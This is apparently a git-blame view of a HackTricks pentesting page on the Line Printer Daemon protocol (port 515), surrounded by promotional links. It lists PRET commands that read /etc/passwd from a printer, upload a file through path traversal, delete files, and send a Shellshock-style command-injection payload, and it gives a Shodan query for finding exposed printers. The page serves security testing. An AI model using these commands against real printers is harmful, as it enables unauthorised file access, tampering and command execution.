hacktricks/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md

62 lines
4 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-01-12 07:53:44 +00:00
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-01-12 07:53:44 +00:00
Other ways to support HackTricks:
2022-04-28 16:01:33 +00:00
2024-01-12 07:53:44 +00:00
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
2024-02-09 12:24:06 +00:00
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2024-01-12 07:53:44 +00:00
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-08 21:36:35 +00:00
### **Introduction to LPD Protocol**
2022-04-28 16:01:33 +00:00
2024-02-08 21:36:35 +00:00
In the 1980s, the **Line Printer Daemon (LPD) protocol** was developed in Berkeley Unix, which later became formalized through RFC1179. This protocol operates over port 515/tcp, allowing interactions through the `lpr` command. The essence of printing via LPD involves sending a **control file** (to specify job details and user) along with a **data file** (which holds the print information). While the control file allows the selection of **various file formats** for the data file, the handling of these files is determined by the specific LPD implementation. A widely recognized implementation for Unix-like systems is **LPRng**. Notably, the LPD protocol can be exploited to execute **malicious PostScript** or **PJL print jobs**.
2024-02-08 21:36:35 +00:00
### **Tools for Interacting with LPD Printers**
2024-02-08 21:36:35 +00:00
[**PRET**](https://github.com/RUB-NDS/PRET) introduces two essential tools, `lpdprint` and `lpdtest`, offering a straightforward method to interact with LPD-compatible printers. These tools enable a range of actions from printing data to manipulating files on the printer, such as downloading, uploading, or deleting:
```python
# To print a file to an LPD printer
lpdprint.py hostname filename
2024-02-08 21:36:35 +00:00
# To get a file from the printer
2020-07-28 00:00:37 +00:00
lpdtest.py hostname get /etc/passwd
2024-02-08 21:36:35 +00:00
# To upload a file to the printer
2020-07-28 00:00:37 +00:00
lpdtest.py hostname put ../../etc/passwd
2024-02-08 21:36:35 +00:00
# To remove a file from the printer
2020-07-28 00:00:37 +00:00
lpdtest.py hostname rm /some/file/on/printer
2024-02-08 21:36:35 +00:00
# To execute a command injection on the printer
2020-07-28 00:00:37 +00:00
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
2024-02-08 21:36:35 +00:00
# To send a mail through the printer
2020-07-28 00:00:37 +00:00
lpdtest.py hostname mail lpdtest@mailhost.local
```
2024-02-08 21:36:35 +00:00
For individuals interested in further exploring the realm of **printer hacking**, a comprehensive resource can be found here: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
2022-05-01 12:49:36 +00:00
# Shodan
2020-10-05 17:40:56 +00:00
* `port 515`
2022-04-28 16:01:33 +00:00
<details>
2024-01-12 07:53:44 +00:00
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-01-12 07:53:44 +00:00
Other ways to support HackTricks:
2022-04-28 16:01:33 +00:00
2024-01-12 07:53:44 +00:00
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
2024-02-09 12:24:06 +00:00
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2024-01-12 07:53:44 +00:00
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>